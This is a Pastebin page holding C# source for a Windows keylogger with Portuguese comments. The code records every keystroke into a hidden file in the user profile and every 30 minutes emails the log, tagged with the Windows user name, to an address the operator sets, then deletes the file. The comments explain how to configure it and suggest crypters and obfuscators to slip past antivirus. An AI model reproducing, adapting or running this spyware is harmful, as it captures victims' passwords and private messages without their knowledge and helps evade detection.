Advertisement
amv1991

Keylogger (Explicações em português)

Apr 19th, 2020
2,724
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 10.39 KB | None | 1 0
  1. using System;
  2. using System.IO;
  3. using System.Net;
  4. using System.Net.Mail;
  5. using System.Runtime.InteropServices;
  6. using System.Security.Principal;
  7. using System.Timers;
  8.  
  9. namespace KeyLogger
  10. {
  11.     /*      Esta é uma implementação bem simples de Keylogger o qual tem a função de
  12.      *          capturar as teclas digitadas pelo usuário do computador
  13.      *          e envia um relatório para o seu email.
  14.      *          
  15.      *      Teoricamente isso pode ser considerado um vírus, mas não se você usar no
  16.      *          seu próprio computador para propósito de segurança. Para verificar quais antivírus
  17.      *          detectam o keylogger você pode acessar esse site:
  18.      *              https://www.virustotal.com/
  19.      *          
  20.      *      Você pode camuflar o keylogger usando crypters (runtime encryption)
  21.      *          e ofuscadores de código para dificultar a detecção do vírus.
  22.      *
  23.      *      Para configurar o keylogger você deve modificar as seguintes linhas:
  24.      *          -O intervalo de tempo do envio do relatório (linha 60);
  25.      *          -O Smtp do provedor do email (linha 204);
  26.      *          -As contas de email que enviam (linha 206) e recebem (linha 207) o relatório;
  27.      *              Importante: O email que envia e o que recebe o relatório podem ser o mesmo.
  28.      *          -O email e a senha da conta de email que ENVIA o relatório (linha 224).
  29.      */
  30.  
  31.     class Program
  32.     {
  33.         //O arquivo de texto onde as teclas digitadas ficarão temporariamente salvas
  34.         private String path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Log.txt";
  35.  
  36.         //Importa a dll user32
  37.         [DllImport("user32.dll")]
  38.         public static extern int GetAsyncKeyState(Int32 i);
  39.         static void Main(string[] args)
  40.         {
  41.             new Program().start();
  42.         }
  43.  
  44.         private void start()
  45.         {
  46.             //Esconde o Log.txt, que é o arquivo de relatório
  47.             if (File.Exists(path)) File.SetAttributes(path, FileAttributes.Hidden);
  48.  
  49.             /*      Configura o timer responsável por chamar a função
  50.             *          sendEmail de acordo com o tempo desejado.
  51.             */
  52.  
  53.             Timer t = new Timer();
  54.  
  55.             /*       1000 * 60 * 30 = 1.800.000 milésimos de segundos, ou 30 minutos,
  56.             *          o que significa que o Keylogger enviará o relatório das
  57.             *          teclas digitadas a cada 30 minutos para o seu email.
  58.             */
  59.  
  60.             t.Interval = 1000 * 60 * 30;    //Determina o tempo
  61.             t.Elapsed += sendEmail;     //Chama o método sendEmail
  62.             t.AutoReset = true;
  63.             t.Enabled = true;
  64.  
  65.             while (true)
  66.             {
  67.                 for (int i = 0; i < 255; i++)
  68.                 {
  69.                     int key = GetAsyncKeyState(i);
  70.                     if (key == 1 || key == -32767)
  71.                     {
  72.                         StreamWriter file = new StreamWriter(path, true);
  73.                         File.SetAttributes(path, FileAttributes.Hidden);
  74.                         file.Write(verifyKey(i));
  75.                         file.Close();
  76.                         break;
  77.                     }
  78.                 }
  79.             }
  80.         }
  81.  
  82.         //Método para verificar as teclas digitadas, você pode apagar algumas linhas se quiser
  83.         private String verifyKey(int code)
  84.         {
  85.             String key = "";
  86.  
  87.             if (code == 8) key = "[Back]";
  88.             else if (code == 9) key = "[TAB]";
  89.             else if (code == 13) key = "[Enter]";
  90.             else if (code == 19) key = "[Pause]";
  91.             else if (code == 20) key = "[Caps Lock]";
  92.             else if (code == 27) key = "[Esc]";
  93.             else if (code == 32) key = "[Space]";
  94.             else if (code == 33) key = "[Page Up]";
  95.             else if (code == 34) key = "[Page Down]";
  96.             else if (code == 35) key = "[End]";
  97.             else if (code == 36) key = "[Home]";
  98.             else if (code == 37) key = "Left]";
  99.             else if (code == 38) key = "[Up]";
  100.             else if (code == 39) key = "[Right]";
  101.             else if (code == 40) key = "[Down]";
  102.             else if (code == 44) key = "[Print Screen]";
  103.             else if (code == 45) key = "[Insert]";
  104.             else if (code == 46) key = "[Delete]";
  105.             else if (code == 48) key = "0";
  106.             else if (code == 49) key = "1";
  107.             else if (code == 50) key = "2";
  108.             else if (code == 51) key = "3";
  109.             else if (code == 52) key = "4";
  110.             else if (code == 53) key = "5";
  111.             else if (code == 54) key = "6";
  112.             else if (code == 55) key = "7";
  113.             else if (code == 56) key = "8";
  114.             else if (code == 57) key = "9";
  115.             else if (code == 65) key = "a";
  116.             else if (code == 66) key = "b";
  117.             else if (code == 67) key = "c";
  118.             else if (code == 68) key = "d";
  119.             else if (code == 69) key = "e";
  120.             else if (code == 70) key = "f";
  121.             else if (code == 71) key = "g";
  122.             else if (code == 72) key = "h";
  123.             else if (code == 73) key = "i";
  124.             else if (code == 74) key = "j";
  125.             else if (code == 75) key = "k";
  126.             else if (code == 76) key = "l";
  127.             else if (code == 77) key = "m";
  128.             else if (code == 78) key = "n";
  129.             else if (code == 79) key = "o";
  130.             else if (code == 80) key = "p";
  131.             else if (code == 81) key = "q";
  132.             else if (code == 82) key = "r";
  133.             else if (code == 83) key = "s";
  134.             else if (code == 84) key = "t";
  135.             else if (code == 85) key = "u";
  136.             else if (code == 86) key = "v";
  137.             else if (code == 87) key = "w";
  138.             else if (code == 88) key = "x";
  139.             else if (code == 89) key = "y";
  140.             else if (code == 90) key = "z";
  141.             else if (code == 91) key = "[Windows]";
  142.             else if (code == 92) key = "[Windows]";
  143.             else if (code == 93) key = "[List]";
  144.             else if (code == 96) key = "0";
  145.             else if (code == 97) key = "1";
  146.             else if (code == 98) key = "2";
  147.             else if (code == 99) key = "3";
  148.             else if (code == 100) key = "4";
  149.             else if (code == 101) key = "5";
  150.             else if (code == 102) key = "6";
  151.             else if (code == 103) key = "7";
  152.             else if (code == 104) key = "8";
  153.             else if (code == 105) key = "9";
  154.             else if (code == 106) key = "*";
  155.             else if (code == 107) key = "+";
  156.             else if (code == 109) key = "-";
  157.             else if (code == 110) key = ",";
  158.             else if (code == 111) key = "/";
  159.             else if (code == 112) key = "[F1]";
  160.             else if (code == 113) key = "[F2]";
  161.             else if (code == 114) key = "[F3]";
  162.             else if (code == 115) key = "[F4]";
  163.             else if (code == 116) key = "[F5]";
  164.             else if (code == 117) key = "[F6]";
  165.             else if (code == 118) key = "[F7]";
  166.             else if (code == 119) key = "[F8]";
  167.             else if (code == 120) key = "[F9]";
  168.             else if (code == 121) key = "[F10]";
  169.             else if (code == 122) key = "[F11]";
  170.             else if (code == 123) key = "[F12]";
  171.             else if (code == 144) key = "[Num Lock]";
  172.             else if (code == 145) key = "[Scroll Lock]";
  173.             else if (code == 160) key = "[Shift]";
  174.             else if (code == 161) key = "[Shift]";
  175.             else if (code == 162) key = "[Ctrl]";
  176.             else if (code == 163) key = "[Ctrl]";
  177.             else if (code == 164) key = "[Alt]";
  178.             else if (code == 165) key = "[Alt]";
  179.             else if (code == 187) key = "=";
  180.             else if (code == 186) key = "ç";
  181.             else if (code == 188) key = ",";
  182.             else if (code == 189) key = "-";
  183.             else if (code == 190) key = ".";
  184.             else if (code == 192) key = "'";
  185.             else if (code == 191) key = ";";
  186.             else if (code == 193) key = "/";
  187.             else if (code == 194) key = ".";
  188.             else if (code == 219) key = "´";
  189.             else if (code == 220) key = "]";
  190.             else if (code == 221) key = "[";
  191.             else if (code == 222) key = "~";
  192.             else if (code == 226) key = "\\";
  193.             else key = "[" + code + "]";
  194.  
  195.             return key;
  196.         }
  197.  
  198.         //Método para enviar o relatório para o seu email
  199.         private void sendEmail(Object source, ElapsedEventArgs e)
  200.         {
  201.             try
  202.             {
  203.                 MailMessage mail = new MailMessage();
  204.                 SmtpClient server = new SmtpClient("SMTP_PROVEDOR");   //Smtp do provedor de email
  205.  
  206.                 mail.From = new MailAddress("EMAIL_QUE_ENVIA");    //A conta de email que envia os relatórios
  207.                 mail.To.Add("EMAIL_QUE_RECEBE");     //A conta de email que recebe os relatórios
  208.                 mail.Subject = "Log: " + WindowsIdentity.GetCurrent().Name;
  209.  
  210.                 if (!File.Exists(path)) return;
  211.                 StreamReader r = new StreamReader(path);
  212.                 String content = r.ReadLine();
  213.                 r.Close();
  214.                 File.Delete(path);
  215.                 mail.Body = content;
  216.  
  217.                 server.Port = 587;      //Porta utilizada para enviar o email
  218.  
  219.                 /*   Declara o objeto com o email e senha da conta que ENVIA os relatórios (teclas digitadas).
  220.                 *      É provável que seja necessário mudar algumas configurações do seu email,
  221.                 *      Gmail por exemplo, exige que você ative a opção "Aceitar aplicativos menos seguros"
  222.                 */
  223.  
  224.                 server.Credentials = new NetworkCredential("SEU_EMAIL", "SENHA_DO_EMAIL");  //Mude email e senha
  225.                 server.EnableSsl = true;
  226.                 server.Send(mail);
  227.             }
  228.  
  229.             /*      É necessário declarar o bloco catch por causa do try,
  230.              *          mas não é necessário implementar nada nele.
  231.              */
  232.  
  233.             catch (Exception ex)
  234.             {
  235.             }
  236.         }
  237.     }
  238. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement